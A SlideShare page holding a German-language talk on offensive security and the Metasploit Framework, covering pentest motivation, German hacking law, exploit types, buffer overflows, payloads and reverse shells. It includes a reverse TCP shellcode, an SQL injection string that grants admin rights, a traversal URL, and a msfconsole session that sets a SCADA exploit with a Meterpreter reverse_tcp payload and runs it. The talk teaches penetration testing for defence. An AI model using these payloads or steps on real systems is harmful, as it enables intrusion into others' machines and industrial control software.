SlideShare a Scribd company logo
1 of 32
Download to read offline
Linux-Stammtisch
Franz Wimmer
@zalintyre
Offensive Security
Das Metasploit Framework
13.05.2020
„It takes 20 years to build a
reputation and few minutes of
cyber-incident to ruin it.“
— Stéphane Nappo
1. Motivation
2. Offensive Security
3. Exploits
4. Das Metasploit Framework
5. Fazit
IT-Security: Motivation
Keine Software ist ohne Fehler.
Ein Fehler an der falschen Stelle wird schnell zur
Sicherheitslücke.
Bedrohungslage ist unklar…
… und oft überhyped.
Motivation
Aber: Der BSI-Lagebericht sieht auch nicht so toll aus.
IT-Security: Motivation
So sieht die Aufschlüsselung nach bei kritischen Infrastrukturen aus:
Offensive Security
Offensive Security – Was ist das?
Grundsätzlich ist es der Name einer Firma, die Security-Zertifizierungen anbietet.
Es beschreibt aber auch ein gängiges Mindset™, die Sicherheit eigener Systeme durch einen aktiven Angriff
auszutesten.
Um Sicherheitslücken zu finden, versetzen wir uns in die Position eines Angreifers.
Das kann man entweder intern oder extern (durch einen dritten) durchführen lassen.
Aktiver Schutz: Penetrationstests
Ziele eines Penetrationstests sind (Quelle: Wikipedia):
die Identifikation von Schwachstellen
das Aufdecken potentieller Fehler, die sich aus der (fehlerhaften) Bedienung ergeben
die Erhöhung der Sicherheit auf technischer
und organisatorischer Ebene
die Bestätigung der IT-Sicherheit durch einen
externen Dritten.
=> Sicherheitslücken austesten, bevor es
jemand anderes macht!
Software-Tools (Beispiele):
dirb (Enumeration von Verzeichnissen)
KALI Linux
Metasploit (Exploits)
Nmap (Netzwerkscan)
§ 202c StGB – Der „Hackerparagraph“
§202c des Strafgesetzbuchs stellt die Herstellung, den Vertrieb, Verkauf etc. von „Hacker-Tools“ unter Strafe.
Klarstellung des BVerfG: Einsatz für Penetrationstests erlaubt
Tipp: Schriftliche Erlaubnis des Auftraggebers einholen!
Dem Auftraggeber muss klar sein, dass der Test sein System zum Ausfall bringen kann.
NEU 18.01.2019 - Gesetzesantrag im Bundesrat:
§ 126a StGB: Anbieten von Leistungen zur Ermöglichung von Straftaten
[…]
Rechtswidrige Taten im Sinne des Satzes 1 sind
[…]
7. §§ 146, 147, 149, 152a, 152b, 184b Abs.1, 202a, 202b, 202c, 263a, 275, 276, 303a und 303b des
Strafgesetzbuches.
Quelle: https://www.bundesrat.de/SharedDocs/drucksachen/2019/0001-0100/33-19.pdf?__blob=publicationFile&v=1
Exploits
Lokale Exploits
Ein Exploit ist Code, der unbeabsichtigt und unautorisiert auf einem fremden System ausgeführt wird.
Dadurch kann ein Angreifer Privilegien erlangen:
Dateien
Verbindungen
Rechte
Beispiele:
Infizierte Dateien
Besonders beliebt: *.pdf, *.jpg.exe
Buffer Overflows
Schwachstellen in lokal installierten Anwendungen
Dadurch erlangt man genau die Rechte, die die angegriffene Anwendung auf dem System hat.
Remote-Exploits
Klassische Schwachstellen bei Web-Anwendungen
Lokale Exploits, die man einem Server unterschieben kann
Denial of Service
Z.B. durch absichtlich falsche Passwörter
SQL Injection
'42;UPDATE USER SET TYPE="admin" WHERE ID=23;'
Directory Traversal
http://www.example.com/index.foo?item=../../../Config.sys
Command Execution
Beispiel: Heartbleed
Beispiel: Heartbleed
Beispiel: Heartbleed
Wie landet der Exploit im Speicher?
Klassisches Beispiel: Ein Buffer Overflow
Dadurch können Teile des Stacks überschrieben werden.
Wenn man keine genauen Adressen kennt, wird der Speicher einfach mit
"NOP"s vollgeschrieben.
Diese führen irgendwann zu einem JMP zum Shellcode.
Einschränkungen:
Anwendungen filtern den Input, Shellcode muss evtl. alphanumerisch
codiert werden
Shellcode darf oftmals kein 0x00 enthalten (Null-Terminierte Strings)
Der Platz ist begrenzt, Kompression oft notwendig
Nicht jeder Exploit funktioniert über einen Buffer Overflow
… und nicht jeder Buffer Overflow macht einen Exploit möglich.
#####################################################
# #
# Dynamic null-free reverse TCP shell(65 bytes) #
# Written by Philippe Dugre #
# #
#####################################################
shellcode = b"x6ax29x58x99x6ax02x5fx6ax01x5e"
shellcode += b"x0fx05x97xb0x2ax48xb9xfexffxee"
shellcode += b"xa3x80xffxffxfex48xf7xd9x51x54"
shellcode += b"x5exb2x10x0fx05x6ax03x5exb0x21"
shellcode += b"xffxcex0fx05x75xf8x99xb0x3bx52"
shellcode += b"x48xb9x2fx62x69x6ex2fx2fx73x68"
shellcode += b"x51x54x5fx0fx05"
So sieht Shellcode in der Natur aus.
Payloads
Ein Exploit allein bringt nichts
Der Payload enthält Code, um die entdeckte Sicherheitslücke gewinnbringend zu nutzen
Beispiele:
Meterpreter
Reverse-Shell
VNC-Server
Payloads laufen mit den Rechten, die der Exploit ihnen verschafft
Das ist im besten Fall root
Man muss aber nicht unbedingt eine Shell auf das System bringen.
Das Metasploit
Framework (MSF)
Überblick
Exploits und Payloads sind schwer zu schreiben
Die Umgebung für einen Exploit ist schwer einzurichten
Das MSF bündelt viele Exploits und Payloads.
Diese lassen sich (fast) beliebig kombinieren.
Das MSF schreibt Exploit-Entwicklern "Qualitätsstandards" vor.
Exploits und Payloads lassen sich mit wenigen Umgebungsvariablen konfigurieren.
Ausführungen:
Framework Edition: Basis
Community Edition: + Web-Oberfläche
Pro: + Social Engineering, Antivirus Evasion, uvm.
msf5 > search scada
Matching Modules
================
Name Disclosure Date Check Description
---- --------------- ----- -----------
exploit/windows/browser/teechart_pro 2011-08-11 No TeeChart Professional ActiveX
Control Trusted Integer Dereference
exploit/windows/fileformat/bacnet_csv 2010-09-16 No BACnet OPC Client Buffer Overflow
exploit/windows/fileformat/scadaphone_zip 2011-09-12 No ScadaTEC ScadaPhone Stack Buffer
Overflow
[ ... ]
msf5 > use windows/scada/scadapro_cmdexe
Exploits suchen
Payloads
Das MSF bietet viele verschiedene Payloads an (zur Zeit 562).
Beispiele:
Meterpreter
Windows MessageBox x64
windows/exec
osx/x64/exec
linux/x86/adduser
Exploits können (fast) beliebig mit Payloads kombiniert werden.
Befindet man sich im Kontext eines Exploits, zeigt show payloads nur passende Einträge an.
Mit dem MSF kann man auch infizierte Dateien generieren.
Z.B. ein PDF, das eine Lücke im Adobe Reader ausnutzt.
Payloads - Meterpreter
Eventuell ist auf dem Zielsystem keine (bekannte) Shell vorinstalliert.
Z.B. Bash, CMD, …
Meterpreter ist eine eigene vollwertige Shell…
… die auf nahezu jedem Zielsystem läuft.
Implementierungen:
C
PHP
Java
Python
…
Die große Kunst: Meterpreter auf das Zielsystem bringen.
Danach gehört der Rechner ganz dir!
Reverse Shells
Ein Payload öffnet im einfachsten Fall einen Port …
… zu wir uns verbinden können.
Firewalls können aber eingehende Verbindungen blockieren!
Deshalb verwenden wir eine Reverse Shell:
Wir öffnen lokal einen Port …
… zu dem sich das angegriffene System verbindet!
Im Zweifel: Einfach beide Varianten ausprobieren.
msf5 exploit(windows/scada/scadapro_cmdexe) > search payloads
Matching Modules
================
Name Rank Check Description
---- ---- ----- -----------
windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection)
windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection)
msf5 exploit(windows/scada/scadapro_cmdexe) > set PAYLOAD windows/meterpreter/reverse_tcp
Payloads suchen
Module options (exploit/windows/scada/scadapro_cmdexe):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 11234 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
URIPATH / yes The URI to use.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.17.0.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
msf5 exploit(windows/scada/scadapro_cmdexe) > set RHOSTS 10.0.0.5
msf5 exploit(windows/scada/scadapro_cmdexe) > run
Optionen konfigurieren
Demo
Fazit
Fazit
Findet eure Sicherheitslücken, bevor es jemand anderes tut!
Das MSF ermöglicht es, ohne viel Vorwissen zu "hacken".
Die Exploits im MSF sind teilweise sehr alt. Wenn sich ein Produktivsystem damit hacken lässt, ist das eher
peinlich.
Das MSF ist aber bei weitem nicht das einzige Werkzeug für Pentests.
Vulnerability Scanner sind eine gute Ausgangsbasis. Ein Pentest kann aber andere Lücken aufdecken.
Franz Wimmer
franz.wimmer@qaware.de https://github.com/zalintyre
@zalintyre

More Related Content

Similar to Offensive Security – Das Metasploit Framework

Vorsicht: Fallstricke in der digitalen Welt für den Handelsagenten
Vorsicht: Fallstricke in der digitalen Welt für den HandelsagentenVorsicht: Fallstricke in der digitalen Welt für den Handelsagenten
Vorsicht: Fallstricke in der digitalen Welt für den Handelsagenten
Mag.Natascha Ljubic
 
Computerviren
ComputervirenComputerviren
Computerviren
CBeuster
 
Sicherheitsfunktionen In Aktuellen Betriebssystemen Talk
Sicherheitsfunktionen In Aktuellen Betriebssystemen TalkSicherheitsfunktionen In Aktuellen Betriebssystemen Talk
Sicherheitsfunktionen In Aktuellen Betriebssystemen Talk
Udo Ornik
 
Quellcode Analyse
Quellcode AnalyseQuellcode Analyse
Quellcode Analyse
Amir Neziri
 
Rahmenbedingungen mobile security
Rahmenbedingungen mobile securityRahmenbedingungen mobile security
Rahmenbedingungen mobile security
Peter Teufl
 

Similar to Offensive Security – Das Metasploit Framework (20)

Vorsicht: Fallstricke in der digitalen Welt für den Handelsagenten
Vorsicht: Fallstricke in der digitalen Welt für den HandelsagentenVorsicht: Fallstricke in der digitalen Welt für den Handelsagenten
Vorsicht: Fallstricke in der digitalen Welt für den Handelsagenten
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
MongoDB: Security-Tipps gegen Hacker
MongoDB: Security-Tipps gegen HackerMongoDB: Security-Tipps gegen Hacker
MongoDB: Security-Tipps gegen Hacker
 
Internet of (Every)Thing
Internet of (Every)ThingInternet of (Every)Thing
Internet of (Every)Thing
 
NETFOX Admin-Treff: Penetration Testing II
NETFOX Admin-Treff: Penetration Testing IINETFOX Admin-Treff: Penetration Testing II
NETFOX Admin-Treff: Penetration Testing II
 
Cyber Security / OWASP Juice Shop
Cyber Security / OWASP Juice ShopCyber Security / OWASP Juice Shop
Cyber Security / OWASP Juice Shop
 
Computerviren
ComputervirenComputerviren
Computerviren
 
Digitale Fallstricke für Handelsagenten
Digitale Fallstricke für HandelsagentenDigitale Fallstricke für Handelsagenten
Digitale Fallstricke für Handelsagenten
 
Best Practice für Webapplikationen zur Abwehr von Cross-Site Scripting (JUGM)...
Best Practice für Webapplikationen zur Abwehr von Cross-Site Scripting (JUGM)...Best Practice für Webapplikationen zur Abwehr von Cross-Site Scripting (JUGM)...
Best Practice für Webapplikationen zur Abwehr von Cross-Site Scripting (JUGM)...
 
Der oracle dba_und_seine_passwoerter
Der oracle dba_und_seine_passwoerterDer oracle dba_und_seine_passwoerter
Der oracle dba_und_seine_passwoerter
 
Splunk Discovery Köln - 17-01-2020 - Security Operations mit Splunk
Splunk Discovery Köln - 17-01-2020 - Security Operations mit SplunkSplunk Discovery Köln - 17-01-2020 - Security Operations mit Splunk
Splunk Discovery Köln - 17-01-2020 - Security Operations mit Splunk
 
Security Scanner Design am Beispiel von httprecon
Security Scanner Design am Beispiel von httpreconSecurity Scanner Design am Beispiel von httprecon
Security Scanner Design am Beispiel von httprecon
 
Cybersecurity
CybersecurityCybersecurity
Cybersecurity
 
Sicherheitsfunktionen In Aktuellen Betriebssystemen Talk
Sicherheitsfunktionen In Aktuellen Betriebssystemen TalkSicherheitsfunktionen In Aktuellen Betriebssystemen Talk
Sicherheitsfunktionen In Aktuellen Betriebssystemen Talk
 
Quellcode Analyse
Quellcode AnalyseQuellcode Analyse
Quellcode Analyse
 
Web Applikations Security
Web Applikations SecurityWeb Applikations Security
Web Applikations Security
 
Private Cloud mit Ceph und OpenStack
Private Cloud mit Ceph und OpenStackPrivate Cloud mit Ceph und OpenStack
Private Cloud mit Ceph und OpenStack
 
Rahmenbedingungen mobile security
Rahmenbedingungen mobile securityRahmenbedingungen mobile security
Rahmenbedingungen mobile security
 
Sicherheit in Single-Page-Web-Anwendungen
Sicherheit in Single-Page-Web-AnwendungenSicherheit in Single-Page-Web-Anwendungen
Sicherheit in Single-Page-Web-Anwendungen
 
JSUG - Inversion Of Control by Florian Motlik
JSUG - Inversion Of Control by Florian MotlikJSUG - Inversion Of Control by Florian Motlik
JSUG - Inversion Of Control by Florian Motlik
 

More from QAware GmbH

"Mixed" Scrum-Teams – Die richtige Mischung macht's!
"Mixed" Scrum-Teams – Die richtige Mischung macht's!"Mixed" Scrum-Teams – Die richtige Mischung macht's!
"Mixed" Scrum-Teams – Die richtige Mischung macht's!
QAware GmbH
 
Migration von stark regulierten Anwendungen in die Cloud: Dem Teufel die See...
 Migration von stark regulierten Anwendungen in die Cloud: Dem Teufel die See... Migration von stark regulierten Anwendungen in die Cloud: Dem Teufel die See...
Migration von stark regulierten Anwendungen in die Cloud: Dem Teufel die See...
QAware GmbH
 

More from QAware GmbH (20)

50 Shades of K8s Autoscaling #JavaLand24.pdf
50 Shades of K8s Autoscaling #JavaLand24.pdf50 Shades of K8s Autoscaling #JavaLand24.pdf
50 Shades of K8s Autoscaling #JavaLand24.pdf
 
Make Agile Great - PM-Erfahrungen aus zwei virtuellen internationalen SAFe-Pr...
Make Agile Great - PM-Erfahrungen aus zwei virtuellen internationalen SAFe-Pr...Make Agile Great - PM-Erfahrungen aus zwei virtuellen internationalen SAFe-Pr...
Make Agile Great - PM-Erfahrungen aus zwei virtuellen internationalen SAFe-Pr...
 
Fully-managed Cloud-native Databases: The path to indefinite scale @ CNN Mainz
Fully-managed Cloud-native Databases: The path to indefinite scale @ CNN MainzFully-managed Cloud-native Databases: The path to indefinite scale @ CNN Mainz
Fully-managed Cloud-native Databases: The path to indefinite scale @ CNN Mainz
 
Down the Ivory Tower towards Agile Architecture
Down the Ivory Tower towards Agile ArchitectureDown the Ivory Tower towards Agile Architecture
Down the Ivory Tower towards Agile Architecture
 
"Mixed" Scrum-Teams – Die richtige Mischung macht's!
"Mixed" Scrum-Teams – Die richtige Mischung macht's!"Mixed" Scrum-Teams – Die richtige Mischung macht's!
"Mixed" Scrum-Teams – Die richtige Mischung macht's!
 
Make Developers Fly: Principles for Platform Engineering
Make Developers Fly: Principles for Platform EngineeringMake Developers Fly: Principles for Platform Engineering
Make Developers Fly: Principles for Platform Engineering
 
Der Tod der Testpyramide? – Frontend-Testing mit Playwright
Der Tod der Testpyramide? – Frontend-Testing mit PlaywrightDer Tod der Testpyramide? – Frontend-Testing mit Playwright
Der Tod der Testpyramide? – Frontend-Testing mit Playwright
 
Was kommt nach den SPAs
Was kommt nach den SPAsWas kommt nach den SPAs
Was kommt nach den SPAs
 
Cloud Migration mit KI: der Turbo
Cloud Migration mit KI: der Turbo Cloud Migration mit KI: der Turbo
Cloud Migration mit KI: der Turbo
 
Migration von stark regulierten Anwendungen in die Cloud: Dem Teufel die See...
 Migration von stark regulierten Anwendungen in die Cloud: Dem Teufel die See... Migration von stark regulierten Anwendungen in die Cloud: Dem Teufel die See...
Migration von stark regulierten Anwendungen in die Cloud: Dem Teufel die See...
 
Aus blau wird grün! Ansätze und Technologien für nachhaltige Kubernetes-Cluster
Aus blau wird grün! Ansätze und Technologien für nachhaltige Kubernetes-Cluster Aus blau wird grün! Ansätze und Technologien für nachhaltige Kubernetes-Cluster
Aus blau wird grün! Ansätze und Technologien für nachhaltige Kubernetes-Cluster
 
Endlich gute API Tests. Boldly Testing APIs Where No One Has Tested Before.
Endlich gute API Tests. Boldly Testing APIs Where No One Has Tested Before.Endlich gute API Tests. Boldly Testing APIs Where No One Has Tested Before.
Endlich gute API Tests. Boldly Testing APIs Where No One Has Tested Before.
 
Kubernetes with Cilium in AWS - Experience Report!
Kubernetes with Cilium in AWS - Experience Report!Kubernetes with Cilium in AWS - Experience Report!
Kubernetes with Cilium in AWS - Experience Report!
 
50 Shades of K8s Autoscaling
50 Shades of K8s Autoscaling50 Shades of K8s Autoscaling
50 Shades of K8s Autoscaling
 
Kontinuierliche Sicherheitstests für APIs mit Testkube und OWASP ZAP
Kontinuierliche Sicherheitstests für APIs mit Testkube und OWASP ZAPKontinuierliche Sicherheitstests für APIs mit Testkube und OWASP ZAP
Kontinuierliche Sicherheitstests für APIs mit Testkube und OWASP ZAP
 
Service Mesh Pain & Gain. Experiences from a client project.
Service Mesh Pain & Gain. Experiences from a client project.Service Mesh Pain & Gain. Experiences from a client project.
Service Mesh Pain & Gain. Experiences from a client project.
 
50 Shades of K8s Autoscaling
50 Shades of K8s Autoscaling50 Shades of K8s Autoscaling
50 Shades of K8s Autoscaling
 
Blue turns green! Approaches and technologies for sustainable K8s clusters.
Blue turns green! Approaches and technologies for sustainable K8s clusters.Blue turns green! Approaches and technologies for sustainable K8s clusters.
Blue turns green! Approaches and technologies for sustainable K8s clusters.
 
Per Anhalter zu Cloud Nativen API Gateways
Per Anhalter zu Cloud Nativen API GatewaysPer Anhalter zu Cloud Nativen API Gateways
Per Anhalter zu Cloud Nativen API Gateways
 
Aus blau wird grün! Ansätze und Technologien für nachhaltige Kubernetes-Cluster
Aus blau wird grün! Ansätze und Technologien für nachhaltige Kubernetes-Cluster Aus blau wird grün! Ansätze und Technologien für nachhaltige Kubernetes-Cluster
Aus blau wird grün! Ansätze und Technologien für nachhaltige Kubernetes-Cluster
 

Offensive Security – Das Metasploit Framework

  • 2.
  • 3. „It takes 20 years to build a reputation and few minutes of cyber-incident to ruin it.“ — Stéphane Nappo
  • 4. 1. Motivation 2. Offensive Security 3. Exploits 4. Das Metasploit Framework 5. Fazit
  • 5. IT-Security: Motivation Keine Software ist ohne Fehler. Ein Fehler an der falschen Stelle wird schnell zur Sicherheitslücke. Bedrohungslage ist unklar… … und oft überhyped.
  • 6. Motivation Aber: Der BSI-Lagebericht sieht auch nicht so toll aus.
  • 7. IT-Security: Motivation So sieht die Aufschlüsselung nach bei kritischen Infrastrukturen aus:
  • 9. Offensive Security – Was ist das? Grundsätzlich ist es der Name einer Firma, die Security-Zertifizierungen anbietet. Es beschreibt aber auch ein gängiges Mindset™, die Sicherheit eigener Systeme durch einen aktiven Angriff auszutesten. Um Sicherheitslücken zu finden, versetzen wir uns in die Position eines Angreifers. Das kann man entweder intern oder extern (durch einen dritten) durchführen lassen.
  • 10. Aktiver Schutz: Penetrationstests Ziele eines Penetrationstests sind (Quelle: Wikipedia): die Identifikation von Schwachstellen das Aufdecken potentieller Fehler, die sich aus der (fehlerhaften) Bedienung ergeben die Erhöhung der Sicherheit auf technischer und organisatorischer Ebene die Bestätigung der IT-Sicherheit durch einen externen Dritten. => Sicherheitslücken austesten, bevor es jemand anderes macht! Software-Tools (Beispiele): dirb (Enumeration von Verzeichnissen) KALI Linux Metasploit (Exploits) Nmap (Netzwerkscan)
  • 11. § 202c StGB – Der „Hackerparagraph“ §202c des Strafgesetzbuchs stellt die Herstellung, den Vertrieb, Verkauf etc. von „Hacker-Tools“ unter Strafe. Klarstellung des BVerfG: Einsatz für Penetrationstests erlaubt Tipp: Schriftliche Erlaubnis des Auftraggebers einholen! Dem Auftraggeber muss klar sein, dass der Test sein System zum Ausfall bringen kann. NEU 18.01.2019 - Gesetzesantrag im Bundesrat: § 126a StGB: Anbieten von Leistungen zur Ermöglichung von Straftaten […] Rechtswidrige Taten im Sinne des Satzes 1 sind […] 7. §§ 146, 147, 149, 152a, 152b, 184b Abs.1, 202a, 202b, 202c, 263a, 275, 276, 303a und 303b des Strafgesetzbuches. Quelle: https://www.bundesrat.de/SharedDocs/drucksachen/2019/0001-0100/33-19.pdf?__blob=publicationFile&v=1
  • 13. Lokale Exploits Ein Exploit ist Code, der unbeabsichtigt und unautorisiert auf einem fremden System ausgeführt wird. Dadurch kann ein Angreifer Privilegien erlangen: Dateien Verbindungen Rechte Beispiele: Infizierte Dateien Besonders beliebt: *.pdf, *.jpg.exe Buffer Overflows Schwachstellen in lokal installierten Anwendungen Dadurch erlangt man genau die Rechte, die die angegriffene Anwendung auf dem System hat.
  • 14. Remote-Exploits Klassische Schwachstellen bei Web-Anwendungen Lokale Exploits, die man einem Server unterschieben kann Denial of Service Z.B. durch absichtlich falsche Passwörter SQL Injection '42;UPDATE USER SET TYPE="admin" WHERE ID=23;' Directory Traversal http://www.example.com/index.foo?item=../../../Config.sys Command Execution
  • 18. Wie landet der Exploit im Speicher? Klassisches Beispiel: Ein Buffer Overflow Dadurch können Teile des Stacks überschrieben werden. Wenn man keine genauen Adressen kennt, wird der Speicher einfach mit "NOP"s vollgeschrieben. Diese führen irgendwann zu einem JMP zum Shellcode. Einschränkungen: Anwendungen filtern den Input, Shellcode muss evtl. alphanumerisch codiert werden Shellcode darf oftmals kein 0x00 enthalten (Null-Terminierte Strings) Der Platz ist begrenzt, Kompression oft notwendig Nicht jeder Exploit funktioniert über einen Buffer Overflow … und nicht jeder Buffer Overflow macht einen Exploit möglich.
  • 19. ##################################################### # # # Dynamic null-free reverse TCP shell(65 bytes) # # Written by Philippe Dugre # # # ##################################################### shellcode = b"x6ax29x58x99x6ax02x5fx6ax01x5e" shellcode += b"x0fx05x97xb0x2ax48xb9xfexffxee" shellcode += b"xa3x80xffxffxfex48xf7xd9x51x54" shellcode += b"x5exb2x10x0fx05x6ax03x5exb0x21" shellcode += b"xffxcex0fx05x75xf8x99xb0x3bx52" shellcode += b"x48xb9x2fx62x69x6ex2fx2fx73x68" shellcode += b"x51x54x5fx0fx05" So sieht Shellcode in der Natur aus.
  • 20. Payloads Ein Exploit allein bringt nichts Der Payload enthält Code, um die entdeckte Sicherheitslücke gewinnbringend zu nutzen Beispiele: Meterpreter Reverse-Shell VNC-Server Payloads laufen mit den Rechten, die der Exploit ihnen verschafft Das ist im besten Fall root Man muss aber nicht unbedingt eine Shell auf das System bringen.
  • 22. Überblick Exploits und Payloads sind schwer zu schreiben Die Umgebung für einen Exploit ist schwer einzurichten Das MSF bündelt viele Exploits und Payloads. Diese lassen sich (fast) beliebig kombinieren. Das MSF schreibt Exploit-Entwicklern "Qualitätsstandards" vor. Exploits und Payloads lassen sich mit wenigen Umgebungsvariablen konfigurieren. Ausführungen: Framework Edition: Basis Community Edition: + Web-Oberfläche Pro: + Social Engineering, Antivirus Evasion, uvm.
  • 23. msf5 > search scada Matching Modules ================ Name Disclosure Date Check Description ---- --------------- ----- ----------- exploit/windows/browser/teechart_pro 2011-08-11 No TeeChart Professional ActiveX Control Trusted Integer Dereference exploit/windows/fileformat/bacnet_csv 2010-09-16 No BACnet OPC Client Buffer Overflow exploit/windows/fileformat/scadaphone_zip 2011-09-12 No ScadaTEC ScadaPhone Stack Buffer Overflow [ ... ] msf5 > use windows/scada/scadapro_cmdexe Exploits suchen
  • 24. Payloads Das MSF bietet viele verschiedene Payloads an (zur Zeit 562). Beispiele: Meterpreter Windows MessageBox x64 windows/exec osx/x64/exec linux/x86/adduser Exploits können (fast) beliebig mit Payloads kombiniert werden. Befindet man sich im Kontext eines Exploits, zeigt show payloads nur passende Einträge an. Mit dem MSF kann man auch infizierte Dateien generieren. Z.B. ein PDF, das eine Lücke im Adobe Reader ausnutzt.
  • 25. Payloads - Meterpreter Eventuell ist auf dem Zielsystem keine (bekannte) Shell vorinstalliert. Z.B. Bash, CMD, … Meterpreter ist eine eigene vollwertige Shell… … die auf nahezu jedem Zielsystem läuft. Implementierungen: C PHP Java Python … Die große Kunst: Meterpreter auf das Zielsystem bringen. Danach gehört der Rechner ganz dir!
  • 26. Reverse Shells Ein Payload öffnet im einfachsten Fall einen Port … … zu wir uns verbinden können. Firewalls können aber eingehende Verbindungen blockieren! Deshalb verwenden wir eine Reverse Shell: Wir öffnen lokal einen Port … … zu dem sich das angegriffene System verbindet! Im Zweifel: Einfach beide Varianten ausprobieren.
  • 27. msf5 exploit(windows/scada/scadapro_cmdexe) > search payloads Matching Modules ================ Name Rank Check Description ---- ---- ----- ----------- windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection) windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection) msf5 exploit(windows/scada/scadapro_cmdexe) > set PAYLOAD windows/meterpreter/reverse_tcp Payloads suchen
  • 28. Module options (exploit/windows/scada/scadapro_cmdexe): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 11234 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host to listen on. SRVPORT 8080 yes The local port to listen on. URIPATH / yes The URI to use. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 172.17.0.2 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port msf5 exploit(windows/scada/scadapro_cmdexe) > set RHOSTS 10.0.0.5 msf5 exploit(windows/scada/scadapro_cmdexe) > run Optionen konfigurieren
  • 29. Demo
  • 30. Fazit
  • 31. Fazit Findet eure Sicherheitslücken, bevor es jemand anderes tut! Das MSF ermöglicht es, ohne viel Vorwissen zu "hacken". Die Exploits im MSF sind teilweise sehr alt. Wenn sich ein Produktivsystem damit hacken lässt, ist das eher peinlich. Das MSF ist aber bei weitem nicht das einzige Werkzeug für Pentests. Vulnerability Scanner sind eine gute Ausgangsbasis. Ein Pentest kann aber andere Lücken aufdecken.